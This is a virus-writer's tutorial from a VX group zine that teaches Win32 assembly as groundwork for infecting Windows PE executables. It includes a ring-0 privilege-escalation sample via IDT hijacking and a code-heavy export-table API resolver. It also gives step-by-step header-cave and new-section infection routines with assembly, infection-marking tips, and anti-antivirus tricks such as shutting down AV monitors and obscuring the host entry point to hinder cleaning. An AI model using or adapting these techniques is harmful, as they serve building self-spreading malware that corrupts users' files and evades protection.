Intro to Win32 Programing in ASM, and PE infection.
By: Techno Phunk / TI

[Intro]

Well, as we all know, the world of win32 has crept up on all of us. Some of the elite few such as Vecna, Virogen Z0mbie, murky, and so on , and so forth....I mean the list goes on and on, have already goten into this area of virus writing and programing. I have noticed a lot of the newer viruses in win32 at least are simple rewrites of viruses already in existance this is a major reason I'm writing this article in about 70% theory. Second, I have seen so many VX that have no clue about win32, as they couldn't really get a lot out of existing tutorials. So I wrote this one. I will first discuss win32asm, this way you won't be left to guess what is going on. Then, I will discuss everything you need to write a win32 virus, and then 2 diffrent types of viruses in win32: Caving (PE header free space), and Adding a New Object.

[What You Need]

Before we start, get the following:

>     what file(s)?    Where to get?
>     --------------  -----------------

>     TASM v5 -       http://tinet.cjb.net
>     API refrence -  http://tinet.cjb.net
>     Microsoft SDKs - not really needed, but recomended reading for win32 programers.

[Here We Go]

O.k, well, basicly, the language hasn't *realy* changed. However, we have new toys. API's which are like our old INTerupts from the old 16-bit world. Also, as the name implies. We are now in 32-bit registers and so on. Registers in w32 are formed like so: eax ebx ecx ebp, and so on..So, nothing really new if you ever played with P-mode. Just know also that win32 is under PMODE. (protected mode).

You can also use 16-bit registers, however they arn't really that common. If you don't know, a byte consists of 4 bits. So, 32-bit data is 4 bytes in length. DD or Dword is basicly how we mark things such as:

>     BlahBlah dd 00323023h

A intresting (fun) part about 32-bit regs is that in a simple XOR loop, you can have over 4 *billion* diffrent virus bodies. But, of course, this increase in numbers doesn't fix anything. So, poly engines still need to be implemented.

Now, in Win32 when we want to call a API we must goto our index, find out what PARAMETERS are needed, and then proceed. Now, a great index of Win API's can be found at tinet.cjb.net...in the UTIL section.

Anyhow, our parameters are PUSHed, and then, the API called. In most cases. Sometimes, registers are implemented for diffrent things. Usualy, for calculations, and things like this. So, no more (not really) mov ah,<func> int 21h. (see later for why I say not *Really*)

[Hello World]

For example Lets preform the WORLD famous "hello world" program with a bit of a twist :) It becomes a tad bit more complex if/when you start to add windows, and things like this. But I will use Window's only pre-registered class, which is in the API MessageBoxA. So, on with the code...right? ;)

>     .386
>     .Model Flat
>     Locals
>     Jumps
>     Extrn ExitProcess:PROC
>     Extrn MessageBoxA:PROC
>     .Data
>     dd 0
>     title_of_win db 'Technological Illusions',00h
>     msg   db 'TI rules u <G>',00h
>     .code
>     start:
>      push 10h                   ; 10h = default icon for error ;)
>      push offset title_of_win   ; Title of the window.
>      push offset msg            ; the message.
>      push 0                     ; a nul value.
>      call MessageBoxA           ; Do it.

>      push 0                     ; exit this process. - 0 = exitcode.
>      call ExitProcess

>     ends
>     end start

>     ---

[LIB Files are your friends]

O.k, as you see in the above code, basicly a push of parameters, and a call to a API that has been brought in from a LIB file. Now, what did you say TP? LIB file? I've heard of them, but what do they have for me? O.k, basicly a LIB file contains your API's, which you can get a LIB file by using IMPLIB which comes with TASM32, and extract these from DLL files. w32.lib included in this mag, has all the API's from common used DLL's, such as Kernel32.dll, User32.dll, and Shell32.dll. I created it, thanks to Virogen's instruction, by:

IMPLIB w32.lib c:\windows\system\kernel32.dll c:\windows\system\user32.dll c:\windows\system\shell32.dll

So, basicly, when you use IMPLIB you put the new LIB files name first, and the DLL's to extract as the next parameters.

[Makefiles]

Makefiles are your friends. They basicly serve as a "batch" file for make.exe (included with tasm 5).

Then, you can use a makefile for compilation:

>     ---this is a sample - the one I use most of the time.

>     # put the name of the ASM file in NAME (without extention)
>     # this is a simple make file, good for *MOST* apps/viruses <G>
>     # w32.dll contains all the things you need from kernel32, user32, and shell32
>     NAME = head
>     OBJS = $(NAME).obj
>     DEF  = ti.def
>     # replace with w32.dll (for most things) - this we need import32.lib
>     IMPORT = w32.lib

>     $(NAME).EXE: $(OBJS) $(DEF)
>       tlink32 /Tpe /aa /x $(OBJS),$(NAME),, $(IMPORT), $(DEF)

>     .asm.obj:
>        tasm32 /m3 /ml $&.asm

>     ----stop cuttin <G>----

O.k, now, you have that idea down? O.k. Now a little more info on the above "program".

[What does it all mean?]

Now, lets break this program down into smaller pieces, where I'll explain each bit of it.

            .386

386+ procceser ;)

            .Model Flat

Get used to this directive. Model FLAT the others are nothing new (much less, that important)

            Extrn ExitProcess:PROC

O.k, we must have an ExitProcess, basicly like the termination function of w32....however, we use it to exit a process.

            Extrn MessageBoxA:PROC

MessageBox (one of those pop-up boxes with basicly, an OK button) Nothing big, basicly, we will use this as our window and our place to display some text. The only (?) predefined window class in winblows architecture.

            .Data

We must have a data segment, for data, in viruses, we don't use this for data as it'd be lost. but we must have the Dd 0, so TLINK don't b@#$ at us....don't ask :)

            dd 0

Just a basic 32-bit nul ;) - trash

            title_of_win db 'Technological Illusions',00h

The Title of our window (message box), a parameter we will use in our MessageBoxA API.

            msg   db 'TI rules ju <G>',00h

Jus a lil' Message <G> (also used by MessageBoxA API)

            .code

Finnaly! de code -section-

            start:
             push 10h

first parameter we need to push is basicly, the TYPE of message box, this type will add the little X icon to the side along with the actual box. See Windows.inc for the diffrent boxes available and their values.

             push offset title_of_win

Our second parameter, we must tell the API what the title will be. It can be anything you like, oviosly. As long as it points to a nul-terminated string.

             push offset msg

Our 3rd Parameter. Basicly, just a pointer to the message. Must be nul-terminated.

             push 0

This is the last parameter of this praticular API, and it defines the STYLE of the message box, as like, what buttons, or whatever. So like, you could define this message box to have the "Retry", "Cancel" buttons. but for our purposes, we'll do only an OK button.

             call MessageBoxA

Call the MessageBox API now, and it will display a message box and o.k button and that cute icon we gave it the values to display ;). And, it'll wait until OK is pushed until we proceed to next step.

             push 0

the 0 defies the exit code, in this case we'll just leave as 0, usualy, it will be 0 for most uses by us <EG>.

             call ExitProcess

And ExitProcess API to do the job. Danke, have a nice day! :)

So, now, you understand the BASIC principal of how these types of things are done. You understand the basic concepts of using w32 API's, and things like this. You can probably write most legit apps after writing a virus in win32. Which, as I've been writing this tutorials, I have found it to be not the easiest stuff. Just, don't be lazy ;). Anyhow, be sure to look at the explanation of RING's in win32 which is next, it's sorta important, and will save you a bit of "why won't in al,40h work anymore?" and so on.

[Rings]

Now, in windows we have diffrent "rings". These serve as almost like acces levels to diffrent things. For example:

                    In Eax,40h
                    Mov Ecx,Eax

WON'T work in a normal program, you say WHAT!? well, here is why. In order to acces ANY port, wether this port be the timer, the CMOS (70h-71h) or even the PC speaker, your going to HAVE to be in ring0. Sorry, just how life goes. Basicly, in Ring3 you can only access the memory that is accesable by you, and things like that. Usualy, to become resident you need ring0, unless you use a method similar to Virogen's Lorez. Bellow is an example of getting ring0 by Virogen (NOT BY ME).

[Example of Ring0]

    ; Virogen's IDT Ring 0 sample
    ;
    ;  This little sample code shows how to obtain ring 0 by changing an interrupt 'vector'
    ;  in the IDT and then issuing a call to that interrupt. All we do here is issue a beep
    ;  through the PC speaker to show that it works.
    ;
    ;  We also set up an SEH frame in case you're running this proggie under WinNT and there
    ;  is an error accessing the IDT.
    ;
    ;  Note that the actual idea of this was in CIH and the lame beep i just ripped, spending
    ;  more than 5 minutes on this little shit would be a waste of time<g>.
    ;
    ;  latez..
    ;  virogen[NOP]
    ;  vgen@hotmail.com
    ;  http://virogen.cjb.net
    ;
    extrn ExitProcess:PROC
    extrn MessageBoxA:PROC
    .586p
    locals
    jumps
    .model flat,STDCALL
    include mywin.inc
    .data
    caption db 'Virogen''s IDT Ring 0 Sample',0
    good_txt db 'Ring 0 success!',0
    bad_txt db 'IDT access error. Perhaps we''re in WinNT',0
    .code
    start:
    int_number equ 1
             call set_seh			; setup SEH frame
             mov esp,[esp+8]                ; if error then no IDT access
             lea eax,bad_txt
             mov ebx,MB_ICONEXCLAMATION
             jmp exit_me                    ; end error handler
    set_seh:
             push dword ptr fs:[0]		; save old exception ptr
             mov fs:[0],esp         	; set ptr to our exception handler

             sidt [esp-02h]                  ; get IDT
             pop  ebx
             add  ebx, int_number*08h+04h
             mov ecx, [ebx]                  ; get original interrupt base
             mov cx, [ebx-04h]               ; original entry point
             lea esi, my_int                 ; esi->new int1 handler
             mov [ebx-04h], si               ; set base of new handler
             shr esi, 16                     ; si=high word of esi
             mov [ebx+02h], si               ; set entrypoint of new handler
             int int_number                  ; issue call to interrupt
             mov [ebx-04h], cx               ; restore original int 1
             shr ecx, 16
             mov [ebx+02h], cx

             pop dword ptr fs:[0]                      ; restore original SEH frame
             pop edx				   ; fixup stack

    	 lea eax,good_txt
    	 xor ebx,ebx
    exit_me:
    	 push ebx
    	 push offset caption
    	 push eax
    	 push 0
    	 call MessageBoxA
             push 0
             call ExitProcess
    my_int:                                            ; now in Ring-0
    	pushad
            mov ax, 1000
            mov bx, 200
            mov cx, ax
            mov al, 0b6h
            out 43h, al
            mov dx, 0012h
            mov ax, 34dch
            div cx
            out 42h, al
            mov al, ah
            out 42h, al
            in al, 61h
            mov ah, al
            or al, 03h
            out 61h, al
            l1:
                    mov ecx, 4680
            l2:
                    loop l2
                    dec bx
                    jnz l1
            mov al, ah
            out 61h, al
    	popad
    	iretd				; return to caller

    warble:
    	ret
    end start
    ends

You'll begin to understand this code above later on, but right now, don't worry about it. Learn the basics first, and remember not to rush yourself.

[Discussion]

Lets talk, o.k, so we have now not only a new programing format, but a new file format also. PE Files, or Portable Executables are windows' version of EXE files. Basicly, an offset of the NE file (New Executable - windows 3.1)

[The Dos Stub]

This is put here just so that the dummy who tries to run a win32 program on his old 386, knows that it's not gonna work. Anyhow, first of all, when ran from a DOS enviroment, it'll load like a normal EXE, and display "Can not Run In Dos mode." or whatever the compiler chose.

Now, some of the windows virii infect this part of the file, however, we are not going to cheat, and this method is useless, it won't ever run (under normal circumstances) ...but if your itching to see one, look at prion, compo, or some other stub infector.

O.k, know, then at offset 3ch in the file, you will find the offset of the PE header (word). This we can use after we have our file MAPED (see later) and we need to start playing with the PE header. Or otherwise.

Now, anyhow, so we have the PE header, this will give us a lot of info that we will need in our virus, such as the current Eip (used to return to host).

[The Object Table]

So, now we have to deal with the Object table, in otherwords: section headers These are 40 byte sections that tell:

            * SectionName   - A 8 byte name (.techno ) is an example
            * VirtualSize   - the VIRTUAL size of the section
            * SectionRVA    - the sections Relative Virtual Address
            * Physical Size - It's physical Size.
            * Physical Off. - Physical Offset
            * Reserved      - 12 bytes of 0's ;)
            * Objectflags   - what attribs the section has, for example (.techno )
                              has ERW

                    * E - 0eh - Executable Code
                    * R - Read  \
                                 > 20h - Read/Write
                    * W - Write /

Now, You must understand, that, when Winblows loads up this PE file, it goes wherever it's pointed to go by Eip. Also, unlike MZ exe's, in PE files we have Multiple headers. The PE header, and then the Object Table, which contains the section headers.

[Some Definitions]

Let me now explain what RVA is (Relative Virtual Address).

A Relative Virtual Address (RVA), is used to describe a memory address when you don't know the file's base. When you add the RVA to the base address, you will get the linear address. or, rather, the physical address.

[The Base]

The Base Address value can be found at the value of the Image base which, is found at offset 52h. This value is a Long Word (32-bit) - Dd.

[PE file Layout]

>     * a Dos "header"   * -*
>     * The DOS STUB     *
>     * The File-Header  * -
>     * Optional Header  *
>     * Data Directories *
>     * Section Headers  * -
>     * Section 1        *
>     *      [...]       *
>     *      [...]       *
>     * Section X        * -* (not mentioned in this tutorial)

>     Key: -* = Sorta.
>           - = you bet your sweet heart that we use it ;)

[The File Header]

Next you will find the File-Header. A.k.a: PE header (if it's a PE file that is). In this header, you will find information about the file itself. It starts out with the word 'PE' to mark what kind of New Executable it is, which signifies to us, that it is indeed a Portable Executable. In the header you will find import info such as:

                    * 28h - Eip value (entry point)(DD) - 32-bit
                    * 38h - Section Alignement     (DD) - 32-bit
                    * 3ch - File Alignment         (DD) - 32-bit
                    * 74h - # of directory entries (DD) - 32-bit
                    * 6h  - # of sections <EG>     (DW) - 16-bit
                    * 54h - size of header         (DD) - 32-bit

[A Small Note]

I might mention here that SCR files also have this format (as long as they are w32 files) - SCR files if you don't know are screen saver files that windows gives a goofy name for no reason, as they are just renamed EXE files =).

Well, now that you have your basic introduction...I will cover things you need in ALL forms of PE infection next.

[Old Tricks]

First of all, to get the Delta offset, which we must do, as long as we are chaning possitions ;). Basicly, you should know this already, but just add an E to make the regs 32-bit referenced.

>            Call Delta             ; see spot
>     Delta: Pop Ebp                ; see spot run
>            Sub Ebp, offset Delta  ; Run Spot run!

Basicly, that's the only change bp--> ebp.

>             * Now, Ebp = Delta.

Lets talk a bit about a *VERY* important value in the header, that EVERY single type of PE infector will have to goof with, exception of the pre-pender of course.

[Eip Is -Very- Important]

This value is stored at PE+28h - if you havn't guessed already, this is Eip. You may be thinking why only IP? in MZ we delt with Cs:Ip. Well, in PE things have changed. Now, the offset of the entry is pointed to by this value. So, lets say you want to know what offset in the file is going to be executed first, you simply look at Eip, and then scan to that place, and there it is. Not too difficult. Note: IP - 8h (in dos header) - (not Eip) points to the DOS stub of the file well, rotate that value left 4 bits (rol <reg>,04).

It's that simple. Now, for a header infector, this is the only value you update however, in a normal Appender, it is a bit more complex.

[CreateFileA and it's uses]

One other thing you must deal with in your virus is going to be the opening of a file. This requires the API: CreateFileA - don't be fooled. here's how we open a file using it:

            Push 0                                 ; attribs
            Push 0                                 ; attribs
            Push 3                                 ; OPEN EXISTING File
            Push 0                                 ; Security
            Push 1                                 ; File share for read
            Push 0C0000000h                        ; write and read
            Lea Esi, [Edi.FileName]                ; ESI = pointer to filename...
            Push Esi                               ; "
            Call Dword Ptr [Ebp+_CreateFileA]      ; same as a open (just how winblows was worked)

    ; this assumes that Edi.Filename points to the filename of the host.

This is one API you will *HAVE* to use most likly, no matter what method of infection, or read/writing.

[How We Access Around Here]

Now. Another descision one must make in their virus, is wether to use File maping, or direct access.

[File Mapping]

Lets talk, first about File Maping, since it is rather simple. First of all, file maping is simply loading the ENTIRE fridgin file into memory, and then making modifications there...and then, droping it down to the disk on "unmaping".

This is all well and good...but, as you imagined, with simplicity, comes extreemly bloated code. But, lets talk a bit about it before I move on.

[APIs needed]

            * CreateFile - told you
            * CreateFileMapping - to create the map.
            * MapViewOfFile - create a view for the map (explaned later)

            * UnmapViewOfFile - start of close - unmap it from memory (writing to disk now)
            * CloseHandle - close this file handle.

that's all of them...you say: not so bad. Heh, the next method only needs 3 APIs :).

Now, before I go further, I want to mention a bit about calling an API from a non-static enviroment. In a virus, we NEED a way of calling the API address defined by the kernel, as they *ARE* diffrent from version to version. Now, basicly we must have a API table such as:

>     _CreateFileA dd 0
>     _MessageBoxA dd 0

where we will store the API addys we get. Next, to call them we simply do this:

>     Call Dword Ptr [Ebp+<api name>]
>           ^ offset is dword
>                      ^ non-static location, so add delta
>                            ^ API name we are calling e.g: _CreateFileA

Understand? Good. lets keep going on now.

So, what to do to map a file? Very simple. Please look these up in your w32 refrence before proceeding, as I can't include them here (too large of information).

Lets Do an example of Create the file map from a runtime virus.

>             Push 0                                 ; ?
>     ; you'll need to calculate this amount - virussize + host size + 1000h
>             Push Dword Ptr [Ebp+MemorySize]            ; max mem size.
>             Push 0                                 ; min size
>             Push 4                                 ; Read/Write access
>             Push 0                                 ; Security Attribs, blah.
>     ; handle returned by CreateFileA
>             Push Dword Ptr [Ebp+FileHandle]        ; and the actual file handle.
>             Call Dword Ptr [Ebp+_CreateFileMappingA]; Create file mapping of file

Now, Eax = handle. Which, on error = 0. Be sure to remember to check for error. The Map handle is very important for you later on BE SURE TO SAVE IT!

>     ; agian, need to calculate this before. (same as above)
>             Push Dword Ptr [Ebp+MemorySize]         ; create view of map.
>             Push 0
>             Push 0
>             Push 2                                 ; Write Mode
>     ; EAX still = Map Handle.
>             Push Eax                               ; Map Handle
>             Call Dword Ptr [Ebp+_MapViewOfFileA]   ; Maped yer view for ya..happy?! :)

Check error (Eax=0)...otherwise, Eax points to begining of file in memory. You should point ESI to that value (for access to the file). ALSO SAVE THIS VALUE :)

When ready to close:

            Push Dword Ptr [Ebp+MapAddress] ; will be writen to the host now.
            Call Dword Ptr [Ebp+_UnmapViewOfFileA]

Very simple.

            Push Dword Ptr [Ebp+MapHandle]  ; Close de map.
            Call Dword Ptr [Ebp+_CloseHandleA]

Closes Map.

            Push Dword Ptr [Ebp+Offset FileHandle] ; done.
            Call Dword Ptr [Ebp+_CloseHandleA]

Closed the Handle now.

Very simple eh? I hope you understand, if not, get out win32.hlp ;). - you do have it, right? <G>

[Direct Access]

In this section, I will talk about the other method of read/writing to a PE file, or for any file actualy. First of all, lets look at what APIs we'll need.

>     ReadFileA - duh.
>     WriteFileA - oviosly
>     CreateFileA - told ya
>     SetFilePointerA - For moving around in the file (sorta like DOS's ah=42h/int 21h)

This I will include the API refrences for.

> ReadFileA -

The ReadFile function reads data from a file, starting at the position indicated by the file pointer.

When this function completes, the file pointer is where it last read..unless you enable overlapping.

>     ReadFile -

>     HANDLE  hFile,      // handle of file to read
>     LPVOID  lpBuffer,   // address of buffer that receives data
>     DWORD  nNumberOfBytesToRead,        // number of bytes to read
>     LPDWORD  lpNumberOfBytesRead,       // address of number of bytes read
>     LPOVERLAPPED  lpOverlapped  // address of structure for data

Parameters -

>     * hFile

File to be read.

>     * lpBuffer

Points to the buffer that receives the data read from the file.

>     * nNumberOfBytesToRead

How many bytes to read.

>     * lpNumberOfBytesRead

Points to the number of bytes read.

>     * lpOverlapped

Points to an OVERLAPPED structure. This structure is required if hFile was created with File_Flag_Overlapped

>     Return Value - 0 if error

WriteFileA - I was going to do this for all of them, but I feel that you can look them up, this is to save me some time and lots of space - thanks for your understanding.

[Another Way for Access]

As I mentioned earlier, APIs are like the INT's of the 16-bit world. Well, recently, thanks to Vecna, I discovered that one can also call the old Interupts, using VxdCall. As follows is how to call Int 21h from win32asm.

                                         ; dx = whatever, and so on.
           Push Ecx                      ; param
           Push Eax                      ; function
           push 002A0010h
           Call [Ebp+Offset Vxdcall]     ; emulated pmode version of int 21h

Then, you may use old dos functions, not the best method, but it works. Best Idea would be to make this a subroutine.

[Checks To Preform]

First off, be sure to check for a windows file, it's the same way as normal in dos - 18h = @ (40h). Next make sure that offset 3ch is within the files size if not, it's not a valid file (or it's corrupted). And finnaly, be sure to check PE+0 = "PE" and that File+0 = "MZ" of course. This will make life better on you in the long run :).

[Marking Infection]

It would oviosly be a BAD thing to reinfect a file, so, we must as in DOS viruses mark our infection in some manner. The easiest of which (not the best - see later) is to use the CheckSum (38h). This is a dword value, and just like in MZ, can be anything you like...for example:

>     Mov Dword Ptr [Esi+38h],'TIPT' ; TPTI (reverse order)

this is a simple example of how to mark your infection, and is rather effective. But read later if you want a bit more advanced theory.

[API Fetching]

Unlike in DOS, we don't have a set standard for where our APIs (in dos was INTs) are gonna be...in DOS it was simply 0000:Int#*4...right? well, guess what..they move around, and there is no way to EASILY get them So, your gonna have to do some code. There are 2 methods that I am aware of, the first being the IMPORT table, and the other being the Kernel Searching Method.

Using the Import Table, is very simple...as you know, the import table contains the adresses of APIs. Basicly, what we are going to do is, locate the table, get the address of GetModuleHandleA, and use it to retrieve APIs addresses. I'll let you figure this out, because I'm too lazy to write it :). Use the next method, it's better anyhow :).

[Kernel Searching]

This method is probably the best and shortest, and was brought to my attention when I first started learning this stuff about 4 months ago...by Virogen. He used this method in most of his viruses (all of them that are win32 I think). Anyhow, it's great for a few reasons: file doesn't have to have certain APIs. And thus is more portable. And it's more compatible.

This Method, probably should be called by me the Export Table method, but, I like to refer to it as Kernel Searching, because in essance this is the major part of this method.

First off, there are 3 diffrent tables in the "export table". This is the small layout:

            * API RVA table       -    32-bit
            * Name Pointer table  -    32-bit
    -       * Oridnal Table       -    16-bit

As you see indicated by the -, the Ordinal value is what we need. First you simple multiply this value by 4. You know have the adress of the API RVA Table. You say: sounds to easy...it isn't. You don't have the original ordinal, so we must use the Name Pointer table to help us out a bit. This place is actualy a table full of pointers to ascii names of APIs. Search out the name of the API your looking for, then, take it's index number, double it, and you are now happy.

Below I have included Stone's StnGetProcAdress which is a good example as you'll see.

    comment %

    	Stone's StnGetProcAddress replicates the kernel32!GetProcAddress
    	function, however it's not rigged with "anti-hacking-code" which
    	disallows OrdinalImports from kernel32 and further it doesn't
    	hinge on API calls. You should probably allow for some better parameter
    	verification.

    	If you wish to utillize it in a delta-offset setting it'll modify to
    	such a situation by removing the SetExceptionFrame & StoreExceptionFrame
    	macros since no other static data is used.
    	All data is in local variables!

    	2nd&mi

    	stone@one.se

    	%

    .386P
    LOCALS
    JUMPS
    .MODEL FLAT, STDCALL			; with STDCALL we must reverse the sequence of pushes
    					; before a APIn call.

    UNICODE = 0				; Needed for w32.inc
    INCLUDE W32.inc				; Windows definitions
    include imghdr.inc
    include excep.inc

    lp EQU  OFFSET
    extrn	GetCurrentProcessId	: PROC
    extrn	GetProcAddress		: PROC
    .DATA
    tag	db "2nd&mi"		; Tag - not used.
    szGetProcAddress	db "GetProcAddress",0
    szKernel32		db "KERNEL32.DLL",0

    .CODE

    start:
    	int 3
    	call	GetModuleHandle, offset szKernel32

    	call	StnGetProcAddress, eax, offset szGetProcAddress

    	call 	ExitProcess, -28

    StnGetProcAddress PROC
    	ARG hMod:dword, lpszFunction:Dword
    	LOCAL lpAddressTbl:DWORD, lpNameTbl:dword, lpOrdTbl:DWORD, OrdinalBase: Dword

    	SetExceptionFrame

    	mov	esi, hMod				; Is it a PE module?
    	add	esi, [ESI+3ch]
    	cmp	dword ptr [esi], IMAGE_NT_SIGNATURE	; "PE"
    	jz	@@PEOK

    	xor	eax,eax					; hMod wasn't PE
    	jmp	Exit

    @@PEOK:
    	mov 	esi, dword ptr [esi.DataDirectory+IMAGE_DIRECTORY_ENTRY_EXPORT]
    	add	esi, hMod			; ESI=ExportTable

    	mov	edi, [esi+36]			; Init ordinal table
    	add	edi, hMod
    	mov	[lpOrdTbl], edi

    	mov	edi, [esi+32]			; init Name table
    	add	edi, hMod
    	mov	[lpNameTbl], edi

    	mov	edi, [esi+28]			; init address table
    	add	edi, hMod
    	mov	[lpAddressTbl], edi

    	mov	edi, [esi+10h]
    	dec	edi
    	mov	[OrdinalBase], edi

    	mov	eax, [lpszFunction]
    	cmp	eax, 10000h		; Import by ordinal?
    	jb	@@ImportByOrd

    	mov	ecx, [esi+24]			; Number of entries in nametable

            call    TraverseNames, lpNameTbl, lpszFunction, ecx, hMod ; Name=>Ordinal

    @@ImportByOrd:
    	sub	eax, [OrdinalBase]		; Usually 0!

    	lea	eax, [2*eax]			; eax=eax*2 (ordinals=word)
            add     eax, lpOrdTbl                   ; eax->ordinal of import
    	mov	ax, [eax]			; ax=ordinal of import
    	and	eax, 0000ffffh
    	xor 	edx,edx				; prepare for mul
    	mov	ecx, 4
    	mul 	ecx

            add     eax, lpAddressTbl               ; eax-> Address RVA
    	mov	eax, [eax]
            add     eax, hMod                       ; RVA->VA

    Exit:
    	RestoreExceptionFrame

    	RET
    StnGetProcAddress ENDP

    TraverseNames PROC              ; name => Ordinal
    	ARG lpNameTbl:dword, lpToFind:dword, dwSizeOfTbl: dword, hMod:Dword
    	xor	edx, edx
    	mov	edi, lpNameTbl
    	mov	ecx, dwSizeOfTbl

    NextApi:
    	mov	ebx, [edi]
    	add	ebx, hMod
    	call	StringCmp, ebx, lpToFind
    	test	eax,eax
    	jnz	Found
    	inc 	edx
    	add	edi, 4
    	cmp	edx, dwSizeOfTbl
    	jnz	NextApi

    	xor	edx,edx
    Found:
    	mov	eax, edx
    	ret
    TraverseNames ENDP

    StringCmp PROC
    	ARG String1:dword, String2:dword
    	push 	edi esi ebx
    	xor 	eax,eax
    	mov 	edi, String1
    	mov 	esi, String2
    @@NextLetter:
    	mov	bl, [esi]
    	cmp	bl,0
    	jz	@@Exit
    	cmp	bl, byte ptr [edi]
    	jnz	@@False
    	inc	esi
    	inc 	edi
    	jmp	@@NextLetter
    @@Exit:
    	mov	eax, TRUE
    @@False:
    	pop ebx esi edi
    	ret
    StringCmp ENDP

    ends
    end start

    [End of Code Example]

[PE infection by Caving (Header infection]

The Very first (that I know of) virus to infect the PE header was <duh duh> w95.Murky....I have seen the source to it, and it's a good virus....expesialy for a first try (better than my first try <G>)....anyhow, that's beside the point it had a "bug" (as AV's say), because it didn't get the API addresses..instead it used STATIC (or constant) offsets. So, if you can write a very small routine for this....good luck, and have fun...but otherwise, you probably will need static offsets ;) - and it's no longer portable :)

Now, onto how to go about "infecting the header"...First of all, we need to locate where the "cave" or: free space, in the header is. This can be done by taking first the BASE_OFFSET of the file (found in header) at offset: 52h (PE+52h)....then adding it to the NUMBER_OF_SECTIONS*40, which 40 is the length of each Section's header. Why? o.k....we need the Base_Offset so we know where we are basicly...then...we take the number of sections * 40, because we need to skip over 40 bytes for each section in the PE, thus getting to the area AFTER the object tables. This is where we write the virus...but ermm... only if we have enough room.

How do we check? Well...here we go. Basicly, just subtract the diffrence between the Size Of header value (54h) from the above value, and compare.

However, you must remember to update Eip, to point at: #ofSections*40+base_offest :)

[Adding a New Object]

This method is good if you plan on a lot of text strings, and otherwise a pretty large virus. However, I still like the optomised world of header infection :). Anyhow, it is rather complex in theory (it's gonna take a while to explain), but you'll find that it's rather simple...and can be done in little time using the knowledge you already know. But first, before I go any further, I'll make a small table of the header offsets, formulas etc that you'll need to know to write this kind of virus.

* the ones further up.

[Formulas]

First of all, we must find the last section.

            Mov Ebx, [Esi+74h]                     ; No. of directories entries
            Shl Ebx, 3                             ; multiply by 8 to get size
            Xor Eax, Eax                           ; Eax = 0 (clean it up)
            Mov Ax, Word Ptr [Esi+6h]              ; # of sections - 16 bit (yay)
            Mov Ecx, 28h                           ; size of sections' header
            Mul Ecx                                ; EAX = ECX * EBX
            Add Esi, 78h                           ; We will now find out where last section is.
            Add Esi, Ebx                           ; Add EBX
            Add Esi, Eax                           ; ESI = Pointer to the End of last section

    ; now Esi  = Where we will write the code.

Now, for calculating the RVA of the virus section.

    ; assuming Edi = Esi ^

            Mov Eax, [Edi-32d]                        ; where we write minus 32 bytes.
            Add Eax, [Edi-28d]                        ; -28
            Mov Ecx, Dword Ptr [Ebp+SectionAlignment] ; Ecx = Section Alignment
            Xor Edx,Edx                               ; clean up Edx
            Div Ecx                                   ; device by section align
            Inc Eax                                   ; increment the value (round up)
            Mul Ecx                                   ; multiply.

    ; Eax = Virus Section Relative Virtual Address...store this!

            Mov Ecx,Dword ptr [Ebp+FileAlignment]    ; the files alignment
            Mov Eax,EndOfYourVirus-StartOfIT         ; Eax equals the virus size
            Xor Edx,Edx                              ; clean up Edx agian.
            Div Ecx                                  ; devide by File Alignment
            Inc Eax                                  ; round up
            Mul Ecx                                  ; and multiply

    ; EAX = physical size now.

Now for the Virtual Size of the section.

Virtual Size = [(SectionAlignment / VirusSize+1000h) + 1] * SectionAlignment

Physical Offset - This one I will show you in source, as it's hard to write out in formula format.

            Mov Eax,[Edi-5*8+20d]
            Add Eax,[Edi-5*8+16d]
            Mov Ecx,Dword Ptr [Ebp+Offset FileAlign]
            Xor Edx,Edx
            Div Ecx
            Inc Eax
            Mul Ecx

    ; Eax = Physical Offset

    ImageSize = size+1000h+ImageSize / SecAlign + 1 * SecAlign

Now, simply copy the new section header to the Object Table...move 40 bytes to it (that'd be the size of the section header agian <G>)

[Infecting]

First you'll need to get the last section header. Now, take this value (its RVA here, NOT physical)...and then add its VIRTUAL size, this is the offset where you will writing your code, and will be your entry point value also (Eip). Now, add your virus size to the raw and virutal size... align the size to file alignment. If it is under the preceding virtual size, do NOT touch this value agian, not needed. Otherwise, you'll need to align it to the object align. Now, you'll need to make this section have the attributes: RWE

Thus this should be your section info.:

            SectionName    db ".techno " ; must be 8 bytes in length.
                                         ; can be whatever you like in that boundary.
            VirtualSize    dd 0          ; virutal size of virus section.
            RVA            dd 0          ; it's Relative Virutal Address.
            Physicalsize   dd 0          ; physical size
            Physicaloffset dd 0          ; & physical offset
            Reserved       dd 0,0,0      ; reserved.
            Objectflags    db 20h,0,0,0E0h ; is readable, writeable, and executable

                    * 20h = read/write.
                            and
                    * E0h = executable.

Note: most of these values *WILL* be changed...exception of: ObjectFlags, Reserved, and SectionName. The rest WILL be changed.

So, now, you SHOULD be able to figure out what you must do in order to write a section appender.

[Things That Shouldn't be hard coded]

As you and I Both know, hard coding has been around since the first few viruses. It's simply the act of assuming certain things. Well, in win32, it's very picky and thus, it's more important NOT to hard code certain things.

I would like to mention now a few things that CAN NOT be hard coded. IF you want portability. That is.

APIs - this is the biggest thing!!!!

I will explain in the next section, how to import API addresses in two diffrent methods.

Image Base -

I have seen viruses that assume 00400000h is the image base, true, but only for some files! mostly made by TASM... but for files such as normal windows files....no work :(, so simply use the image base of the file (from the header) and everyone goes home happy.

[Making your viruses more AV resistant]

The first thing I'd like to mention, is lets say u have a new virus done, and you think it's cool. But, wham, your virus is cleanable (so what, it happens). But ermm....the cleaned file can't be reinfected? what? Well, this is because you used the CHECKSUM (38h) to mark your infection. This is the biggest problem that you can cause your virus. All the AV has to do, is simply leave that sig there, and your virus will never touch that file agian...so, what do we do? Very simple, just use another method that the av must fix. One idea I think would work nicely, is to simply look for the header to point to the last section or to the free space in the header, depending on the type of infector, and check this way.

Another thing that we can do in win32 that is quite fun, is to pull out an AV monitor, by making it think the user told it to quit. This is done by the API: PostQuitMessage. Check this idea out while your at it.

Finaly, a lot of viruses simply return to the original Eip. This is simply wrong as AV just restores easily...Don't make it static, make it relative. Let me show you how.

     Mov Eax, Offset Old_Eip         ; the old Eip variable's offset
     Mov Ebx, [Old_Eip]              ; Ebx= value of this variable
     Add Eax, [VSection_RVA]         ; add to the offset, the virus section's rva
     Sub Eax, Ebx                    ; now subtract the Old_Eip value
     Sub Eax, 4                      ; subtract 4
     Mov [Old_Eip], Eax              ; now then that was fun...

Basicly, this routine is to be done before hand...then the AVs must really work a bit harder to fix.

Now, you get it? Good. Party time now. (It's all over)

[Ending]

